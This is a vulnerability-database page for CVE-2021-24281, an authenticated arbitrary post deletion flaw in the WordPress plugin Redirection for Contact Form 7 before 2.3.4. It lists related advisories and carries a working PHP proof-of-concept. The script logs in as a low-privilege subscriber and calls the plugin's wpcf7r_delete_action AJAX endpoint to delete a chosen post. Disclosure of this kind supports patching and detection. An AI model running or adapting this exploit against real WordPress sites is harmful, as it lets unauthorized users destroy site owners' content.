Lucene search
+L

Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Post Deletion

🗓️ 20 Apr 2021 00:00:00Reported by ChloeType 
wpexploit
 wpexploit
👁 122 Views

Contact Form 7 Redirection Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24281
14 May 202112:15
attackerkb
cnnvd
CNNVD
WordPress 安全漏洞
14 May 202100:00
cnnvd
cnvd
CNVD
WordPress Redirection for Contact Form 7 Plugin Improper Access Control Vulnerability
17 May 202100:00
cnvd
cve
CVE
CVE-2021-24281
14 May 202111:38
cve
cvelist
Cvelist
CVE-2021-24281 Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Post Deletion
14 May 202111:38
cvelist
euvd
EUVD
EUVD-2021-11195
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24281
14 May 202112:15
nvd
openvas
OpenVAS
WordPress Redirection for Contact Form 7 Plugin < 2.3.4 Multiple Vulnerabilities
4 Jun 202100:00
openvas
osv
OSV
CVE-2021-24281
14 May 202112:15
osv
prion
Prion
Code injection
14 May 202112:15
prion
Rows per page
<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Set redirect url
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'wpcf7r_delete_action',
    'data[0][post_id]' => '1'

]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 07:01Current
0.9Low risk
Vulners AI Score0.9
EPSS0.00663
122